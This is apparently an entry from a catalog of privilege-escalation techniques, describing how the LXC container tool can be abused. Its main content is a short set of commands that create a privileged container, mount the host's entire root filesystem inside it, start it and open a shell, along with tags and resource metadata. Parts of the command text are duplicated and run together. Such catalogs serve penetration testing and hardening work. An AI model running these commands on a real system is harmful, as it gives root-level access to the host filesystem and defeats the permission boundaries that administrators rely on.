Container hypervisor, can spawn privileged containers with host filesystem.
lxc init ubuntu:latest priv -c security.privileged=true && lxc config device add priv host disk source=/ path=/mnt/rootlxc init ubuntu:latest priv -c security.privileged=true && lxc config device add priv host disk source=/ path=/mnt/rootSandbox: execFile · Timeout: 60s
security.privilege-escalation.shell Outputs
process.output Shell output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 64 MB |
| Network | low |
| Disk I/O | low |
Spawn privileged container with host access
lxc init ubuntu:latest priv -c security.privileged=true
lxc config device add priv host disk source=/ path=/mnt/root
lxc start priv
lxc exec priv /bin/sh